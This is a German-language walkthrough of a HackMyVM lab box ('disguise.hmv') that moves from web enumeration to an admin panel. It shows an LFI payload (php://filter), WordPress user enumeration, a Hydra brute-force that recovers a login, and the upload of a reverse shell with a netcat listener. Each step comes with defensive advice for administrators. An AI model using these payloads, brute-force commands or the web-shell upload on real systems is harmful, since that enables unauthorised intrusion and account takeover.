Bewertung: Nikto hat mehrere wichtige Punkte auf `dark.disguise.hmv` aufgedeckt. Der Hinweis auf `config.php` und das `PHPSESSID`-Cookie ohne `HttpOnly` sind relevant. Der Fund `/database.tar.bz2` ist alarmierend und muss sofort manuell überprüft werden. Wenn diese Datei existiert und herunterladbar ist, wäre das ein schwerwiegender Informationsleck. Der wiederholte "Drupal Link header" und "x-redirect-by: WordPress" Header auf einer scheinbar Nicht-WordPress-Seite sind merkwürdig und könnten auf eine komplexe oder fehlerhafte Serverkonfiguration hinweisen.

Empfehlung (Pentester): **Unbedingt manuell prüfen, ob `http://dark.disguise.hmv/database.tar.bz2` existiert und herunterladbar ist!** Den Inhalt von `config.php` untersuchen (wie zuvor erwähnt). Die Verwundbarkeit durch das fehlende `HttpOnly`-Flag für Session-Cookies in Verbindung mit potenziellen XSS-Schwachstellen ausnutzen. Die Datei `/icons/README` auf interessante Informationen prüfen.
Empfehlung (Admin): **Sofort prüfen, ob eine Datei `database.tar.bz2` öffentlich zugänglich ist und diese ggf. entfernen und sicherstellen, dass keine Datenbanksicherungen im Web-Root liegen!** Das `HttpOnly`-Flag für alle Session-Cookies setzen. Fehlende Security-Header (X-Frame-Options, X-Content-Type-Options) implementieren. Den Zugriff auf `/icons/README` und andere Standard-Apache-Dateien einschränken.

---------------------------------------------------- Webenum: -----------------------------------------------------------------------
view-source:http://dark.disguise.hmv/index.php

 href="login.php" 登录  |  a href="register.php" 注册 
 <h3>dark mouse</h3>
 <img src="image_handler.php?id=7"> 
 A great mouse price = ¥50.00 

 <h3>dark clothes</h3>
 <img src="image_handler.php?id=8">
 very dark clothes price = ¥200.00 
 
 <h3>dark soul</h3> 
 <img src="image_handler.php?id=9"> 
 a great game price = ¥300.00 
                    

Analyse: Dies ist ein Auszug aus dem Quelltext der Seite `http://dark.disguise.hmv/index.php`. Auffällig sind die Bild-Tags (`<img src="...">`). Die Bilder werden nicht direkt verlinkt, sondern über ein PHP-Skript `image_handler.php` geladen, dem eine `id` als GET-Parameter übergeben wird (z.B. `image_handler.php?id=7`).

Bewertung: Die Verwendung eines zentralen Skripts zum Laden von Ressourcen basierend auf einem Parameter wie `id` ist ein häufiges Muster, das anfällig für Schwachstellen sein kann, insbesondere Local File Inclusion (LFI) oder SQL-Injection (wenn die ID verwendet wird, um einen Dateipfad aus einer Datenbank abzufragen). Wenn die `id` nicht korrekt validiert wird, könnte ein Angreifer versuchen, andere Werte oder Pfade anzugeben, um auf unerwartete Dateien zuzugreifen.

Empfehlung (Pentester): Testen Sie den `image_handler.php`-Endpunkt auf LFI-Schwachstellen. Versuchen Sie, gängige Payloads wie `../../../../etc/passwd` oder Pfade zu bekannten Konfigurationsdateien (z.B. das zuvor von Gobuster gefundene `config.php`) über den `id`-Parameter zu laden. Untersuchen Sie, ob das Skript auch Filter umgehen kann (z.B. Null-Byte-Injektion, Pfad-Traversal-Variationen) oder ob es auf SQL-Injection anfällig ist, falls die ID in einer Datenbankabfrage verwendet wird.
Empfehlung (Admin): Stellen Sie sicher, dass Skripte, die Dateien basierend auf Benutzereingaben laden (wie `image_handler.php`), strenge Validierungen und Sanitisierungen durchführen. Idealerweise sollten keine direkten Dateipfade aus Benutzereingaben konstruiert werden. Verwenden Sie Whitelists für erlaubte Dateien/Pfade oder stellen Sie sicher, dass Pfad-Traversal unmöglich ist (z.B. durch `basename()` in PHP und Überprüfung, ob die Datei in einem erlaubten Verzeichnis liegt). Wenn eine Datenbankabfrage involviert ist, verwenden Sie Prepared Statements.

┌──(root㉿CCat)-[~] └─# curl http://dark.disguise.hmv/image_handler.php?id=php://filter/convert.base64-encode/resource=config.php
Image not found     
                    

Analyse: Hier wird versucht, eine Local File Inclusion (LFI) Schwachstelle im Skript `image_handler.php` auszunutzen. Der Payload `php://filter/convert.base64-encode/resource=config.php` ist ein gängiger PHP-Filter-Wrapper-Trick, um den Inhalt einer Datei (hier `config.php`) Base64-kodiert auszugeben, auch wenn die direkte Ausgabe von PHP-Code oder bestimmten Zeichen blockiert ist. Die Antwort "Image not found" deutet darauf hin, dass dieser spezifische LFI-Versuch fehlgeschlagen ist.

Bewertung: Obwohl dieser Versuch fehlschlug, war er ein logischer nächster Schritt nach der Identifizierung des `image_handler.php`-Skripts. LFI ist eine häufige und gefährliche Schwachstelle. Das Scheitern bedeutet nicht, dass keine LFI vorhanden ist, sondern nur, dass dieser spezielle Payload nicht funktioniert hat.

Empfehlung (Pentester): Versuchen Sie andere LFI-Payloads und -Techniken für `image_handler.php?id=`: Standard-Pfad-Traversal (`../../etc/passwd`), direkte Dateinamen, Variationen zur Filterumgehung. Überprüfen Sie, ob der `id`-Parameter nur numerische Werte akzeptiert.
Empfehlung (Admin): Strenge Eingabevalidierung und -sanitisierung für alle Parameter, die Dateinamen oder -pfade beeinflussen. Verwenden Sie Whitelists für erlaubte Dateien/Pfade. Verhindern Sie Pfad-Traversal. Beschränken Sie die Berechtigungen des Webserver-Benutzers.

┌──(root㉿CCat)-[~] └─# curl -v -L --cookie "dark_session=5lW+b4l9/57+xPbgYv77xHh34d0PVx5u5p5A639z7D0=" http://dark.disguise.hmv/profile.php
* Host dark.disguise.hmv:80 was resolved.
* IPv6: (none)
* IPv4: 192.168.2.189
*   Trying 192.168.2.189:80...
* Connected to dark.disguise.hmv (192.168.2.189) port 80
* using HTTP/1.x
> GET /profile.php HTTP/1.1
> Host: dark.disguise.hmv
> User-Agent: curl/8.13.0
> Accept: */*
> Cookie: dark_session=5lW+b4l9/57+xPbgYv77xHh34d0PVx5u5p5A639z7D0=
> 
* Request completely sent off
< HTTP/1.1 200 OK
< Date: Sat, 03 May 2025 22:10:47 GMT
< Server: Apache/2.4.59 (Debian)
< Set-Cookie: PHPSESSID=nkodi2fknphn3s5q2p75lhc8o2; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Vary: Accept-Encoding
< Content-Length: 576
< Content-Type: text/html; charset=UTF-8
< 
 
* Connection #0 to host dark.disguise.hmv left intact
                     

Analyse: Dieser `curl`-Befehl versucht, auf `http://dark.disguise.hmv/profile.php` zuzugreifen und dabei ein spezifisches Cookie namens `dark_session` mit dem Wert `5lW+b4l9/57+xPbgYv77xHh34d0PVx5u5p5A639z7D0=` zu setzen.

Die Antwort vom Server ist ein `HTTP/1.1 200 OK`, was bedeutet, dass der Zugriff auf `/profile.php` mit diesem Cookie erfolgreich war und nicht, wie zuvor von Gobuster ohne gültige Session gesehen, zu einer Weiterleitung auf `login.php` führte. Der Server setzt auch ein neues `PHPSESSID`-Cookie. Der Inhalt der Profilseite (Länge 576 Bytes) wird hier nicht angezeigt, aber der erfolgreiche Zugriff ist der wichtige Punkt. Der Wert des `dark_session`-Cookies sieht Base64-kodiert aus oder ist ein Hash/verschlüsselter Wert.

Bewertung: Dies ist ein wichtiger Schritt. Der Pentester hat offenbar einen gültigen Session-Cookie-Wert (`dark_session`) für die Anwendung auf `dark.disguise.hmv` erlangt oder erfolgreich gefälscht/erraten. Dadurch konnte auf die Profilseite zugegriffen werden, was normalerweise eine Authentifizierung erfordert. Wie dieser Cookie-Wert erlangt wurde, ist aus diesem Log-Eintrag nicht ersichtlich (z.B. durch einen anderen Exploit, Session Hijacking, Brute-Force von Cookie-Werten oder eine erfolgreiche Registrierung/Login mit anschließender Extraktion des Cookies). Es ist auch möglich, dass dieser Cookie von einem vorherigen, hier nicht gezeigten, erfolgreichen Login stammt.

Empfehlung (Pentester): Da nun Zugriff auf einen authentifizierten Bereich besteht (die Profilseite), sollte dieser Bereich gründlich auf weitere Schwachstellen untersucht werden: Gibt es Funktionen zum Ändern von Profildaten, die für XSS oder IDOR (Insecure Direct Object References) anfällig sein könnten? Gibt es Datei-Upload-Funktionen? Werden irgendwelche neuen Informationen oder Endpunkte sichtbar? Versuchen Sie, das `dark_session`-Cookie zu dekodieren oder zu analysieren, um seine Struktur zu verstehen.
Empfehlung (Admin): Überprüfen Sie, wie Session-Cookies generiert und validiert werden. Stellen Sie sicher, dass sie nicht leicht zu erraten oder zu fälschen sind. Implementieren Sie Schutzmaßnahmen gegen Session Hijacking (z.B. Binden von Sessions an IP-Adressen, obwohl dies bei mobilen Nutzern problematisch sein kann) und Session Fixation. Sorgen Sie für eine sichere Logout-Funktion, die Sessions serverseitig invalidiert. Setzen Sie das `HttpOnly` und `Secure` Flag für Cookies.

Initial Access

http://disguise.hmv/wp-login.php

Error: The password you entered for the username simpleadmin 
       is incorrect. Lost your password?
                     

Analyse: Diese Ausgabe zeigt eine Fehlermeldung von der WordPress-Login-Seite (`wp-login.php`) der Hauptdomain `disguise.hmv`. Sie resultiert aus einem fehlgeschlagenen Anmeldeversuch mit dem Benutzernamen `simpleadmin`.

Bewertung: Die Meldung bestätigt, dass der Benutzer `simpleadmin` auf der WordPress-Instanz existiert, das eingegebene Passwort jedoch falsch war. Dies ist eine nützliche Information für einen Angreifer, um Benutzernamen zu validieren.

Empfehlung (Pentester): Da der Benutzername bestätigt ist, können gezielte Brute-Force-Angriffe gegen `simpleadmin` auf `disguise.hmv` durchgeführt werden, vorzugsweise über den `xmlrpc.php`-Endpunkt, falls aktiviert.
Empfehlung (Admin): Konfigurieren Sie WordPress so, dass generische Fehlermeldungen ausgegeben werden, die nicht verraten, ob der Benutzername oder das Passwort falsch war. Implementieren Sie Login-Rate-Limiting und/oder Captchas, um Brute-Force-Angriffe zu erschweren.

┌──(root㉿CCat)-[~] └─# wpscan --url http://disguise.hmv/ \ --api-token ... \ --enumerate u,p,t,tt,cb,m \ --plugins-detection aggressive \ --themes-detection aggressive \ --plugins-version-detection aggressive \ --themes-version-detection aggressive \ --detection-mode aggressive \ --random-user-agent \ --force
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.28
       Sponsored by Automattic - [Link: https://automattic.com/ | Ziel: https://automattic.com/]
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://disguise.hmv/ [192.168.2.190] 
[+] Started: Sun May  4 01:35:32 2025

Interesting Finding(s):

[+] robots.txt found: http://disguise.hmv/robots.txt
 | Interesting Entries:
 |  - /wp-admin/
 |  - /wp-admin/admin-ajax.php
 | Found By: Robots Txt (Aggressive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://disguise.hmv/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - [Link: https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/ | Ziel: https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/]
 |  - [Link: https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/ | Ziel: https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/]
 |  - [Link: https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/ | Ziel: https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/]
 |  - [Link: https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/ | Ziel: https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/]

[+] WordPress readme found: http://disguise.hmv/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://disguise.hmv/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://disguise.hmv/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - [Link: https://www.iplocation.net/defend-wordpress-from-ddos | Ziel: https://www.iplocation.net/defend-wordpress-from-ddos]
 |  - [Link: https://github.com/wpscanteam/wpscan/issues/1299 | Ziel: https://github.com/wpscanteam/wpscan/issues/1299]

[+] WordPress version 6.8.1 identified (Latest, released on 2025-04-30).
 | Found By: Rss Generator (Aggressive Detection)
 |  - http://disguise.hmv/feed/, <generator>[Link: https://wordpress.org/?v=6.8.1 | Ziel: https://wordpress.org/?v=6.8.1]</generator>
 |  - http://disguise.hmv/comments/feed/, <generator>[Link: https://wordpress.org/?v=6.8.1 | Ziel: https://wordpress.org/?v=6.8.1]</generator>

[i] The main theme could not be detected. 

[+] Enumerating Most Popular Plugins (via Aggressive Methods)
 Checking Known Locations - Time: 00:00:08 <============> (1499 / 1499) 100.00% Time: 00:00:08
[+] Checking Plugin Versions (via Aggressive Methods)

[i] Plugin(s) Identified:

[+] akismet
 | Location: http://disguise.hmv/wp-content/plugins/akismet/
 | Latest Version: 5.3.7
 | Last Updated: 2025-04-14T23:37:00.000Z
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://disguise.hmv/wp-content/plugins/akismet/, status: 403
 |
 | [!] 1 vulnerability identified:
 |
 | [!] Title: Akismet 2.5.0-3.1.4 - Unauthenticated Stored Cross-Site Scripting (XSS)
 |     Fixed in: 3.1.5
 |     References:
 |      - [Link: https://wpscan.com/vulnerability/1a2f3094-5970-4251-9ed0-ec595a0cd26c | Ziel: https://wpscan.com/vulnerability/1a2f3094-5970-4251-9ed0-ec595a0cd26c]
 |      - [Link: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-9357 | Ziel: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-9357]
 |      - http://blog.akismet.com/2015/10/13/akismet-3-1-5-wordpress/
 |      - [Link: https://blog.sucuri.net/2015/10/security-advisory-stored-xss-in-akismet-wordpress-plugin.html | Ziel: https://blog.sucuri.net/2015/10/security-advisory-stored-xss-in-akismet-wordpress-plugin.html]
 |
 | The version could not be determined.

[+] Enumerating Most Popular Themes (via Aggressive Methods)
 Checking Known Locations - Time: 00:00:02 <==============> (400 / 400) 100.00% Time: 00:00:02
[+] Checking Theme Versions (via Aggressive Methods)

[i] Theme(s) Identified:

[+] newsblogger
 | Location: http://disguise.hmv/wp-content/themes/newsblogger/
 | Latest Version: 0.2.5.5
 | Last Updated: 2025-04-29T00:00:00.000Z
 | Readme: http://disguise.hmv/wp-content/themes/newsblogger/readme.txt
 | [!] Directory listing is enabled
 | Style URL: http://disguise.hmv/wp-content/themes/newsblogger/style.css
 | Style Name: NewsBlogger
 | Style URI: [Link: https://spicethemes.com/newsblogger-wordpress-theme/ | Ziel: https://spicethemes.com/newsblogger-wordpress-theme/]
 | Description: NewsBlogger is a dynamic and versatile child theme for the popular NewCrunch WordPress theme. Perfec...
 | Author: spicethemes
 | Author URI: [Link: https://spicethemes.com | Ziel: https://spicethemes.com]
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://disguise.hmv/wp-content/themes/newsblogger/, status: 200
 |
 | [!] 2 vulnerabilities identified:
 |
 | [!] Title: NewsBlogger < 0.2.5.5 - Cross-Site Request Forgery to Arbitrary Plugin Installation
 |     Fixed in: 0.2.5.5
 |     References:
 |      - [Link: https://wpscan.com/vulnerability/916ba2a7-6592-4abf-acbf-63e46111b964 | Ziel: https://wpscan.com/vulnerability/916ba2a7-6592-4abf-acbf-63e46111b964]
 |      - [Link: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-1305 | Ziel: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-1305]
 |      - [Link: https://www.wordfence.com/threat-intel/vulnerabilities/id/7b2cac27-4a36-490f-b2d8-3c6f32843a38 | Ziel: https://www.wordfence.com/threat-intel/vulnerabilities/id/7b2cac27-4a36-490f-b2d8-3c6f32843a38]
 |
 | [!] Title: NewsBlogger < 0.2.5.2 - Authenticated (Subscriber+) Arbitrary File Upload
 |     Fixed in: 0.2.5.2
 |     References:
 |      - [Link: https://wpscan.com/vulnerability/ab2f96dc-e786-48db-8207-a76ec50d7e63 | Ziel: https://wpscan.com/vulnerability/ab2f96dc-e786-48db-8207-a76ec50d7e63]
 |      - [Link: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-1304 | Ziel: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-1304]
 |      - [Link: https://www.wordfence.com/threat-intel/vulnerabilities/id/85cea6b5-d57b-495e-a504-a0c1ba691637 | Ziel: https://www.wordfence.com/threat-intel/vulnerabilities/id/85cea6b5-d57b-495e-a504-a0c1ba691637]
 |
 | The version could not be determined. 

[+] newscrunch
 | Location: http://disguise.hmv/wp-content/themes/newscrunch/
 | Latest Version: 1.8.4.6
 | Last Updated: 2025-04-29T00:00:00.000Z
 | Readme: http://disguise.hmv/wp-content/themes/newscrunch/readme.txt
 | Style URL: http://disguise.hmv/wp-content/themes/newscrunch/style.css
 | Style Name: Newscrunch
 | Style URI: [Link: https://spicethemes.com/newscrunch | Ziel: https://spicethemes.com/newscrunch]
 | Description: Newscrunch is a magazine and blog theme. It is a lightweight, elegant, and fully responsive theme sp...
 | Author: spicethemes
 | Author URI: [Link: https://spicethemes.com | Ziel: https://spicethemes.com]
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://disguise.hmv/wp-content/themes/newscrunch/, status: 500
 |
 | [!] 2 vulnerabilities identified:
 |
 | [!] Title: Newscrunch < 1.8.4.1 - Cross-Site Request Forgery to Arbitrary File Upload
 |     Fixed in: 1.8.4.1
 |     References:
 |      - [Link: https://wpscan.com/vulnerability/b27a251e-c883-43df-8949-df876b1250af | Ziel: https://wpscan.com/vulnerability/b27a251e-c883-43df-8949-df876b1250af]
 |      - [Link: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-1306 | Ziel: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-1306]
 |      - [Link: https://www.wordfence.com/threat-intel/vulnerabilities/id/1c507681-61e9-4bf0-8fe5-e2f401a7a8be | Ziel: https://www.wordfence.com/threat-intel/vulnerabilities/id/1c507681-61e9-4bf0-8fe5-e2f401a7a8be]
 |
 | [!] Title: Newscrunch < 1.8.4.1 - Authenticated (Subscriber+) Arbitrary File Upload
 |     Fixed in: 1.8.4.1
 |     References:
 |      - [Link: https://wpscan.com/vulnerability/22f2abb1-9ca8-4d37-870e-f3a1e78514de | Ziel: https://wpscan.com/vulnerability/22f2abb1-9ca8-4d37-870e-f3a1e78514de]
 |      - [Link: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-1307 | Ziel: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-1307]
 |      - [Link: https://www.wordfence.com/threat-intel/vulnerabilities/id/b55567e9-24e6-4738-b7f7-b95b541e6067 | Ziel: https://www.wordfence.com/threat-intel/vulnerabilities/id/b55567e9-24e6-4738-b7f7-b95b541e6067]
 |
 | The version could not be determined. 

[+] twentytwentyfive
 | Location: http://disguise.hmv/wp-content/themes/twentytwentyfive/
 | Latest Version: 1.2
 | Last Updated: 2025-04-15T00:00:00.000Z
 | Readme: http://disguise.hmv/wp-content/themes/twentytwentyfive/readme.txt
 | [!] Directory listing is enabled
 | Style URL: http://disguise.hmv/wp-content/themes/twentytwentyfive/style.css
 | Style Name: Twenty Twenty-Five
 | Style URI: [Link: https://wordpress.org/themes/twentytwentyfive/ | Ziel: https://wordpress.org/themes/twentytwentyfive/]
 | Description: Twenty Twenty-Five emphasizes simplicity and adaptability. It offers flexible design options, suppor...
 | Author: the WordPress team
 | Author URI: [Link: https://wordpress.org | Ziel: https://wordpress.org]
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://disguise.hmv/wp-content/themes/twentytwentyfive/, status: 200
 |
 | The version could not be determined.

[+] twentytwentyfour
 | Location: http://disguise.hmv/wp-content/themes/twentytwentyfour/
 | Latest Version: 1.3
 | Last Updated: 2024-11-13T00:00:00.000Z
 | Readme: http://disguise.hmv/wp-content/themes/twentytwentyfour/readme.txt
 | [!] Directory listing is enabled
 | Style URL: http://disguise.hmv/wp-content/themes/twentytwentyfour/style.css
 | Style Name: Twenty Twenty-Four
 | Style URI: [Link: https://wordpress.org/themes/twentytwentyfour/ | Ziel: https://wordpress.org/themes/twentytwentyfour/]
 | Description: Twenty Twenty-Four is designed to be flexible, versatile and applicable to any website. Its collecti...
 | Author: the WordPress team
 | Author URI: [Link: https://wordpress.org | Ziel: https://wordpress.org]
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://disguise.hmv/wp-content/themes/twentytwentyfour/, status: 200
 |
 | The version could not be determined.

[+] twentytwentythree
 | Location: http://disguise.hmv/wp-content/themes/twentytwentythree/
 | Latest Version: 1.6
 | Last Updated: 2024-11-13T00:00:00.000Z
 | Readme: http://disguise.hmv/wp-content/themes/twentytwentythree/readme.txt
 | [!] Directory listing is enabled
 | Style URL: http://disguise.hmv/wp-content/themes/twentytwentythree/style.css
 | Style Name: Twenty Twenty-Three
 | Style URI: [Link: https://wordpress.org/themes/twentytwentythree | Ziel: https://wordpress.org/themes/twentytwentythree]
 | Description: Twenty Twenty-Three is designed to take advantage of the new design tools introduced in WordPress 6....
 | Author: the WordPress team
 | Author URI: [Link: https://wordpress.org | Ziel: https://wordpress.org]
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://disguise.hmv/wp-content/themes/twentytwentythree/, status: 200
 |
 | The version could not be determined.

[+] Enumerating Timthumbs (via Aggressive Methods)
 Checking Known Locations - Time: 00:00:14 <============> (2568 / 2568) 100.00% Time: 00:00:14

[i] No Timthumbs Found.

[+] Enumerating Config Backups (via Aggressive Methods)
 Checking Config Backups - Time: 00:00:00 <===============> (137 / 137) 100.00% Time: 00:00:00

[i] No Config Backups Found.

[+] Enumerating Medias (via Aggressive Methods) (Permalink setting must be set to "Plain" for those to be detected)
 Brute Forcing Attachment IDs - Time: 00:00:00 <==========> (100 / 100) 100.00% Time: 00:00:00

[i] No Medias Found.

[+] Enumerating Users (via Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:00 <================> (10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] simpleadmin
 | Found By: Wp Json Api (Aggressive Detection)
 |  - http://disguise.hmv/wp-json/wp/v2/users/?per_page=100&page=1
 | Confirmed By:
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] simpleAdmin
 | Found By: Rss Generator (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] neueradmin 
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)

[+] WPScan DB API OK
 | Plan: free
 | Requests Done (during the scan): 6
 | Requests Remaining: 18

[+] Finished: Sun May  4 01:36:06 2025
[+] Requests Done: 4786
[+] Cached Requests: 12
[+] Data Sent: 1.332 MB
[+] Data Received: 2.418 MB
[+] Memory used: 311.332 MB
[+] Elapsed time: 00:00:33
                     

Analyse: Dieser WPScan-Lauf ist dem zuvor geplanten sehr ähnlich, verwendet aber `u,p,t` (Benutzer, Plugins, Themes) statt `u,ap,at` für die Enumeration und fügt die Option `--force` hinzu. Auffällig ist, dass die Ziel-IP nun als `192.168.2.190` angezeigt wird, während sie zuvor `192.168.2.189` war. Dies könnte ein Tippfehler im Log, eine Änderung der IP des Ziels oder ein Scan gegen ein anderes, ähnliches Ziel sein. Für die weitere Analyse wird von `192.168.2.189` ausgegangen, es sei denn, es gibt explizite Hinweise auf eine IP-Änderung. Der API-Token wurde aus Sicherheitsgründen im Befehl gekürzt. Wichtige Ergebnisse dieses Scans:

Bewertung: Dieser aggressivere Scan hat zusätzliche, potenziell kritische Schwachstellen für das "newscrunch"-Theme aufgedeckt, ähnlich denen des "newsblogger"-Themes. Die Unstimmigkeit bei der Versionserkennung der Themes im Vergleich zum vorherigen Scan ist bemerkenswert. Die Entdeckung des "akismet"-Plugins mit einer alten Schwachstelle ist weniger kritisch, da XSS oft weitere Bedingungen erfordert. Die Enumeration von "neueradmin" bestätigt dessen Existenz in der Datenbank. Die im WPScan-Header angezeigte IP `192.168.2.190` weicht von der initialen `.189` ab und sollte zur Kenntnis genommen werden, auch wenn für die Analyse von `.189` ausgegangen wird.

Empfehlung (Pentester): Priorisieren Sie die Schwachstellen im "newsblogger"- und "newscrunch"-Theme (Authenticated Arbitrary File Upload). Da das Passwort für "simpleadmin" bekannt ist (`password`), versuchen Sie sich einzuloggen und zu bestimmen, welches Theme aktiv ist und ob die Version anfällig ist. Wenn ja, versuchen Sie, eine Webshell über die Arbitrary File Upload-Schwachstelle hochzuladen. Die XSS in Akismet kann als sekundärer Fund dokumentiert werden.
Empfehlung (Admin): **Dringend alle Themes ("newsblogger", "newscrunch") und Plugins ("akismet") auf die neuesten Versionen aktualisieren oder deinstallieren, wenn sie nicht benötigt werden.** Überprüfen und bereinigen Sie Benutzerkonten; der "neueradmin"-Account sollte untersucht und entfernt werden, wenn er nicht legitim ist. Führen Sie eine vollständige Sicherheitsüberprüfung der WordPress-Instanz durch.

┌──(pwn)─(root㉿cyber)-[~/Hackingtools/CVE-2025-1304] └─# hydra -l simpleAdmin -P /usr/share/wordlists/rockyou.txt dark.disguise.hmv http-post-form "/login.php:username=^USER^&password=^PASS^:用户名或密码不正确" -f -t 64
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-05-04 22:43:11
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344501 login tries (l:1/p:14344501), ~224133 tries per task
[DATA] attacking http-post-form://dark.disguise.hmv:80/login.php:username=^USER^&password=^PASS^:用户名或密码不正确
[80][http-post-form] host: dark.disguise.hmv   login: simpleAdmin   password: Str0ngPassw0d1@@@
[STATUS] attack finished for dark.disguise.hmv (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-05-04 22:43:28
                     

Analyse: Dies ist ein Hydra Brute-Force-Angriff auf die Login-Seite (`/login.php`) der Subdomain `dark.disguise.hmv`.

**Erfolg!** Hydra hat das Passwort Str0ngPassw0d1@@@ für den Benutzer `simpleAdmin` auf der Seite `dark.disguise.hmv` gefunden.

Bewertung: **Ein weiterer sehr wichtiger Durchbruch!** Der Zugriff auf die Anwendung unter `dark.disguise.hmv` wurde erlangt. Die Wiederverwendung des Benutzernamens "simpleAdmin" (oder einer Variation davon) und die Verwendung eines Passworts, das zwar komplexer aussieht, aber immer noch durch Brute-Force gefunden wurde, deuten auf Schwächen im Passwortmanagement hin.

Empfehlung (Pentester): Melden Sie sich sofort mit den Zugangsdaten `simpleAdmin:Str0ngPassw0d1@@@` auf `http://dark.disguise.hmv/login.php` an. Untersuchen Sie die Funktionalität der Anwendung, insbesondere Bereiche, die nach dem Login zugänglich werden, wie die zuvor gesehene `profile.php` oder das `manager/`-Verzeichnis. Suchen Sie nach Datei-Upload-Möglichkeiten, SQL-Injection-Punkten oder anderen Schwachstellen, die zu Remote Code Execution führen könnten.
Empfehlung (Admin): **Ändern Sie sofort das Passwort für den Benutzer "simpleAdmin" auf `dark.disguise.hmv` zu einem starken, einzigartigen Passwort!** Vermeiden Sie die Wiederverwendung von Benutzernamen und Passwörtern über verschiedene Systeme hinweg. Implementieren Sie Mechanismen zur Begrenzung von Anmeldeversuchen (Account Lockout) und erwägen Sie Zwei-Faktor-Authentifizierung, falls die Anwendung dies unterstützt. Führen Sie ein Audit der Benutzerkonten durch.

http://dark.disguise.hmv/manager/
暗黑商店管理后台
返回个人中心 | 添加商品 | 退出
管理员控制台

欢迎使用管理后台
                     
hier sieht man den inhalt vom verstecken pfad manager hier sieht man die uploadfunktion hier sieht man die uploaded revshell

Analyse: Diese Ausgabe zeigt den Inhalt der Seite `http://dark.disguise.hmv/manager/` nach erfolgreichem Login (vermutlich mit den zuvor gefundenen Zugangsdaten `simpleAdmin:Str0ngPassw0d1@@@`). Die Seite heißt "暗黑商店管理后台" (Dark Shop Management Backend). Sie bietet Links zu "返回个人中心" (Zurück zum persönlichen Zentrum), "添加商品" (Produkt hinzufügen) und "退出" (Logout). Der Hauptbereich begrüßt den Benutzer im "管理员控制台" (Administratorkonsole). Die eingefügten Bilder visualisieren dies:

Bewertung: **Dies ist der Weg zur Remote Code Execution (RCE)!** Die Entdeckung einer Datei-Upload-Funktion in einem administrativen Backend ist ein klassischer Angriffsvektor. Wenn die Anwendung den Dateityp oder Inhalt der hochgeladenen Dateien nicht ausreichend validiert, können Angreifer bösartige Skripte (z.B. Webshells in PHP) hochladen und diese dann über den Webserver ausführen. Das Bild `test revshell_upload.jpg` bestätigt, dass dieser Upload-Versuch erfolgreich war.

Empfehlung (Pentester): Nachdem die Webshell (z.B. `test_revshell.php`) hochgeladen wurde:

  1. Finden Sie den genauen Pfad heraus, unter dem die hochgeladene Datei über den Webbrowser erreichbar ist (oft in einem Upload-Verzeichnis wie `/images/`, `/uploads/` oder einem produktspezifischen Pfad).
  2. Rufen Sie die Webshell im Browser auf, um die Codeausführung zu triggern. Wenn es eine Reverse Shell ist, stellen Sie sicher, dass ein Listener (z.B. `nc -lvnp PORT`) auf Ihrem Angreifer-Rechner läuft.
  3. Sobald die Reverse Shell verbunden ist, haben Sie Kommandozeilenzugriff auf den Server im Kontext des Webserver-Benutzers (wahrscheinlich `www-data`).

